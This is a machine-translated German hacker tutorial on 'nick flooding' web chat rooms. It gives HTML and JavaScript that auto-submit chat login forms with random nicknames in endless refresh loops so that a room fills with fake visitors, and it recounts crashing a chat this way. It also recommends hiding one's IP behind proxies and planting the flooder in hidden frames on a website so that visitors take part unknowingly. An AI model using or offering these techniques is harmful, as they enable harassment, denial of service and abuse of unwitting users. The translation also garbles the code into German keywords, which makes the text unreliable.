This page has been robot translated, sorry for typos if any. Original content here.

Anti-Chat oder Nick Flooding Teil 1

Fortsetzung >>>


Um das Thema FA fortzusetzen, haben wir uns entschlossen, einen anderen Artikel zu schreiben, der nun genau dem Titel entspricht. Achtung: Verwenden Sie es ausschließlich zur Bekämpfung der "frostigen" Admins, die aus Faulheit oder um ihre Fähigkeiten unter Beweis zu stellen, aus irgendeinem Grund aus dem Chat geworfen werden, auch ohne. Verwenden Sie dieses Tool nicht in Chatrooms, in denen Sie Sie verunsichern, um normal zu kommunizieren, weil Sie werden niemanden reden lassen , denn eine beeindruckende Anzahl verschiedener "Personen" wird den Chatroom betreten, und es werden so viele von ihnen vorhanden sein, dass es unmöglich ist, sich im Chat auszudrücken. Mit anderen Worten, dies ist "Nick Flooding" oder Chat-Inhalt mit nicht vorhandenen Besuchern.

Speichern Sie die Startseite auf der Festplatte.
Für die Implementierung benötigen Sie einen Chat mit einem Login ohne Registrierung und ein wenig HTML-Kenntnisse (zumindest was es ist). Wir speichern die Startseite des Chats, hier steht "Geben Sie Ihren Benutzernamen ein"

Code wie folgt

<html> <body> ......................

<FORM action = /cgi-bin/chat/login.cgi method = post name = "chat_x" > - der Pfad, an den die Daten gesendet werden
Geben Sie Ihren Benutzernamen ein: <input type = text name = Nick > - Hier wird der Nickname eingegeben
<INPUT name = color type = ausgeblendeter Wert = rot> - paint
<INPUT type = submit value = "Start !!!" > - Taste

..................... </ html> </ body>

Und so sieht es im Browser aus: Gib deinen Spitznamen ein

Wenn Sie eine Startseite als Frames geladen haben, d. H. Sie können die Nachrichten bereits sehen, darunter steht "Geben Sie Ihren Benutzernamen ein" (normalerweise ist dies der unterste Frame), klicken Sie mit der rechten Maustaste (unten) und wählen Sie "Als HTML anzeigen". Dort werden Sie auch sehen, dass der Code möglicherweise auch komplizierter wird.

Wenn Sie wissen, wie mit Chat von der Festplatte in diesem Chat gearbeitet wird, ist es möglich, dass der Code des unteren Frames nach der ersten Phrase Folgendes aufweist:

<html> <body> ......................

<FORM action = / cgi-bin / chat / login.cgi method = post name = "chat_x" > - der Pfad, an den die Daten gesendet werden
<input type = hidden name = Spitzwert = Ihr Spitzname> - Spitzname (kann nicht gesehen werden)
<INPUT name = color type = ausgeblendeter Wert = rot> - color
Geben Sie die Phrase <INPUT TYPE = TEXT name = say size = "24"> ein - das Eingabefeld für die Phrase
<INPUT type = submit value = "Sagen Sie !!!" >

..................... </ html> </ body>

Wenn sich dieser Chat auf http://www.domen.ru befindet, schreiben Sie in der Zeile <FORM action = /cgi-bin/chat/login.cgi method = post name = " chat_x "> diese Adresse ebenfalls vor: <FORM action = http://www.domen.ru/cgi-bin/chat/login.cgi method = post name = "chat_x"> Wenn wir diese Datei ausführen, gehen wir auch im Chat davon, name = " chat_x " kann abwesend sein Zeit erlaubt, es selbst hinzuzufügen. Anstelle von chat_x kann es auch vom anderen aufgerufen werden. Wenn Sie es schaffen, den Chat aus dieser Datei einzugeben, fahren Sie mit dem nächsten Element fort.

Der erste Trick: "Chatbesucher" generieren

Wenn wir einen Spitznamen für unsere Zwecke verwenden, wird er nicht mehr als 2-3 Sätze strecken ... wird hinausgeworfen. Daher ist es notwendig, dass der Spitzname prkticheski immer anders ist. Das Java-Skript wird uns dabei helfen (Sie müssen es nicht wissen, ersetzen Sie einfach Ihre Zahlen) Math.floor (Math.random () * 100000000)

Ein Beispiel kann durch Klicken auf die Schaltfläche angezeigt werden:


Erläuterung: Das mathematische Objekt Math: Math.random () generiert eine Zahl von 0 bis 1, dann wird diese Zahl mit Hilfe von Math.floor () gerundet und muss beispielsweise mit 10 multipliziert werden, während die Zahl von 0 bis 9, wenn mit 100 multipliziert, dann bis 99, wenn mit 1000 multipliziert, dann auch bis 999. d.h. Die Länge der resultierenden Zahl ist kleiner oder gleich der Anzahl von Nullen, einschließlich der Zahl, mit der sie multipliziert wurde ... der Pfannkuchen war bereits verwirrt Lächle glücklich )) Im Beispiel (siehe unten) ist diese Nummer 100000000 Dadurch erhalten wir eine Zufallszahl, dies wird ein Spitzname sein ...
Damit diese Nummer in das Formular für einen Kurznamen passt, fügen wir sie in das automatische Laden der Seite ein, d. H. Im <body> -Tag wird sich später herausstellen: <body onload = "document. chat_x . nick .value = (Math.floor (Math.random () * 1000000)) "> kümmert sich um den Namen des Formulars (siehe Beispiel-HTML-Code) oben ist sie gelb markiert), damit eine Zufallszahl auch in das gewünschte Feld in die gewünschte Form passt.

Eine andere Sache: Wir schicken "Besucher" zum Chat.

<script Language = "JavaScript">
Funktion submit () {
Timer = setTimeout ("(document. Chat_x .submit ())", 1000);
}
</ script>

Dieses Skript, als ob der "Senden" -Button "angeklickt" wird und Daten aus einem Formular namens "chat_x" gesendet werden. Im Chat kann diese Schaltfläche als "Chat eingeben" oder "Sagen" bezeichnet werden. Sie wirkt mit einer Verzögerung von 1000 ms, sodass Sie zuerst sehen können Was wurde geladen (Sie können später 100 setzen), aber dann werden die Daten automatisch gesendet, aber dazu ist es erforderlich, die Übermittlungsfunktion (Senden ) für das automatische Laden unserer Seite zu registrieren, d. h. Das Tag <body onload = "document.chat_x.nick.value = (Math.floor (Math.random () * 1000000)); submit ()"> lädt jetzt beim Laden der Seite eine Zufallszahl und wird dann in das chat_x-Formular geschrieben Feld Nick. auch Daten aus dem chat_x-Formular an den Server gesendet, stellt sich heraus, dass Personen mit einem Spitznamen in Form mehrerer Nummern in den Chat eingetreten sind.

Ein Beispiel für einen unkomplizierten html-code-Chat-Flooder

<HTML> <HEAD> <TITLE> Chat-Flooder </ TITLE>

<script Language = "JavaScript">
Funktion submit () {
Timer = setTimeout ("(document. Chat_x .submit ())", 1000);
}
</ script>

</ Head>
<BODY bgColor = # 000066 onload = "document. Chat_x . Nick . Wert = (Math.floor (Math.random () * 1000000)); submit ()">

<FORM action = http: //www.domen.ru/cgi-bin/chat/chat.cgi method = post name = " chat_x ">
<eingabe name = color type = ausgeblendeter wert = rot>
Nick: <Eingabename = Nick- Typ = Text>
<INPUT type = submit value = " Start !!! ">
</ Body> </ html>

Die letzte ... persönliche Flut

Essen Sie dazu drei Möglichkeiten.

1. Erstellen Sie eine Datei, die ein Frame-Paar enthält, in einer Datei, die beim Laden einen Kurznamen an den Chat sendet. Lassen Sie uns forma.htm nennen. In einem anderen Frame ist jedoch jede andere Datei in meinem Beispiel yo.htm. Und speichern Sie es mit dem Namen frames.htm. Der Code für dieses Dokument lautet:

Inhalt von frames.htm

<html> <head> <title> Chat Flooder </ title> </ head>
<Frameset Zeilen = "*, 100">
<frame name = "main" src = " forma.htm ">
<frame name = " send " src = " yo.htm ">
<noframes> <body>
<p> Diese Seite verwendet Frames. </ p>
</ body> </ noframes> </ frameset>

Ich habe den Namen des Sendeframes speziell herausgegriffen, da Die Daten werden an sie gesendet, sodass die Datei "forma.htm" nach dem Senden nicht entladen werden kann. Des Weiteren fügen wir im Code forma.htm Folgendes hinzu: in <FORM action = ..... tag = target = " send "> und in der Quelle der Aktzeile: <meta http-equiv = "Refresh" content = "1">, damit sich die Datei selbst befindet wird jede Sekunde aktualisiert und Timer = 0 gesetzt. Was ist passiert: Die Datei wird auch aktualisiert an den Chat des Besuchers gesendet, sie ist im Frame mit dem Namen SENDEN zu sehen, dh. Anstelle der Datei yo.htm wird der Chat angezeigt. Anschließend wird forma.htm aktualisiert. Erneut wird die neugeprägte Stirn zum Chat gesendet. Der neu erstellte Chat wird ebenfalls erneut aktualisiert. Wieder kommt der Chat ins Unendliche :) Die Aktualisierungshäufigkeit wird basierend auf der Verbindungsgeschwindigkeit festgelegt.

Beispielinhalt forma.htm-Datei

<Html>
<HEAD> <TITLE> Chat-Flooder </ TITLE>
<meta http-equiv = "Refresh" content = " 1 ">
<script Language = "JavaScript">
Funktion submit () {
Timer = setTimeout ("(document. Chat_x .submit ())", 0 );
}
</ script>

</ Head>
<BODY bgColor = # 000066 onload = "document. Chat_x . Nick . Wert = (Math.floor (Math.random () * 1000000)); submit ()">

<FORM action = http: //www.domen.ru/cgi-bin/chat/chat.cgi method = post name = " chat_x " target = " send ">
<eingabe name = color type = ausgeblendeter wert = rot>
Nick: <Eingabename = Nick- Typ = Text>
<Eingabename = Kennworttyp = ausgeblendeter Wert = "">
<INPUT type = submit value = " Start !!! ">
</ Body> </ html>

2 weg. Zuerst erstellen wir 4 Dateien, die sich nur in der Verzögerung unterscheiden, wenn auch eine Rahmendatei gesendet wird, in der sich zum Beispiel 16 (!) Frames befinden, in den ersten vier die erste Datei, darin Timer = setTimeout ("(document.chat_x.submit ())", 1000 ); In den anderen vier Frames wird die zweite Datei geladen, in der die Verzögerung 10.000 beträgt. In den dritten vier sind es 30.000. Nun, aber in den vierten vier wird die vierte Datei mit einer Verzögerung von 40.000 geladen, d.h. alle 10.000 ms werden 4 "Personen" in den Chat eintreten und sie werden alle unterschiedlich sein, obwohl sie in Form von Zahlen vorliegen, aber dies ist Müll ... Wenn Sie das Anmeldeformular im Chat verwendet haben, "betreten" sie alle den Chat, aber wenn Sie die Nachricht senden, dann Es ist erlaubt, einen Textabschnitt als Nachricht einzugeben. Zu diesem Zeitpunkt spricht jeder generierte Kurzname ... Experimentieren Sie, versuchen Sie andere Optionen mit Frames ...

Es bleibt nur noch Ihre IP zu verbergen, dazu können Sie A4Proxy verwenden , eine große Liste von Servern wählen ...

3 weg. Wenn Sie die Site essen, dürfen Sie diese Dateien beispielsweise in einem verborgenen Rahmen darauf ablegen, während auch die IP fast immer anders sein wird.

Valim Chat :)

Chatrooms, die das Privatsystem verwenden, sind so angeordnet, dass sie ständig mit dem Computer des Benutzers in Kontakt sind, d. H. Sie generieren ständig einen Nachrichtenstrom für ihn, sie überwachen nicht, ob er die Verbindung unterbrochen hat, auch wenn die Benutzergemeinschaft ziemlich viel unternimmt, dann kann der Chat dem "Sturz" nicht standhalten. Wir waren also gerade in einem Chat, der maximal 70 Personen standhalten kann, dann hört es einfach auf zu funktionieren, auch wenn die Startseite geladen wird ... Es war nicht schwierig, einen solchen Chat "manuell" zu setzen, es war nur notwendig, eine Datei zu erstellen, die Spitznamen generiert und diese sendet Chat, eine Minute nach dem Start dieser Datei, im Chat zu den bestehenden 23. hinzugefügt um weitere 50 Personen :) ) er fiel auch runter (ich habe eine datei aus einer vielzahl von frames verwendet, in der es auch eine bla-bla-datei gab) Und es sollte angemerkt werden, dass wir im Verein waren, aber es gibt beeindruckende Geschwindigkeit und leistungsstarke Computer :) . Möglicherweise funktioniert es auch mit einem Modem (z. B. mit jemandem zuzustimmen, dass es auch gleich losgeht) oder probieren Sie es zuerst selbst aus, ich weiß es nicht ... Vergessen Sie nicht, dass Chat-Protokolle auch von Admins protokolliert werden, nachdem Sie vielleicht gesehen haben, was es war :) Nun ist der Zugang von der IP-Adresse des Internet-Clubs "GeForce" zu diesem Chat geschlossen :)

FAQ: Wenn es nicht funktioniert

FlooDer : Nichts funktioniert für mich :)
Versuchen Sie zuerst, den Chat einfach von der Festplatte einzugeben, d. H. Wenn aus dem auf der Schraube gespeicherten Eingabeformular alles geklappt hat, bedeutet dies einen Fehler im Code "Script-Flooding" :) Wenn es nicht klappt, dann lesen Sie weiter ...

FlooDer : Ich bin von der Festplatte gekommen, jetzt kann ich keine Daten senden :) was zu tun
Überprüfen Sie die Richtigkeit des Formularnamens (Name = XxXxX).

FlooDer : In der <FORM action = http: //www.***.ru/chat.cgi method = post> -Zeile häufig kein Name = "XxXxX" , was tun?
Geben Sie sich selbst ein: (name = "chat_x" target = "send") target- Damit die Daten an den Sendeframe gesendet werden, stellt sich Folgendes dar: <FORM action = http: //www.***.ru/chat.cgi method = postname = "chat_x" target = "send ">

FlooDer: Wenn Sie den Chat eingeben, müssen Sie ein Passwort eingeben. Wenn nicht jeder Spitzname registriert ist, wie kann er in den Code eingegeben werden?
In dem Formular zur Eingabe des Passworts muss Folgendes hinzugefügt werden: value = "abrakadabra". Dann werden alle generierten "Benutzer" mit diesem Passwort eingegeben

Fortsetzung >>>

Es ist nicht überflüssig für Ihre Freunde, diese Informationen herauszufinden, den Artikel mit ihnen zu teilen!

Erweitern / Reduzieren Kommentarfenster erweitern / minimieren

Kommentare

Beachten Sie, dass der Inhalt und der Ton Ihrer Nachricht die Gefühle realer Menschen verletzen, Respekt und Toleranz gegenüber Ihren Gesprächspartnern zeigen können, auch wenn Sie ihre Meinung nicht teilen, sich Ihr Verhalten im Hinblick auf die durch das Internet bereitgestellte Meinungsfreiheit und Anonymität ändert nicht nur virtuell, sondern auch die reale Welt. Alle Kommentare werden aus dem Index ausgeblendet, Spam wird kontrolliert.
Jetzt kann jeder Artikel veröffentlichen.
Versuchen Sie es zuerst!
Artikel schreiben
Gefällt es dir Abonnieren Sie RSS- Feeds,
als erster Informationen erhalten
über alle wichtigen Ereignisse des Landes und der Welt.
Sie können auch shram.kiev.ua unterstützen, klicken Sie auf: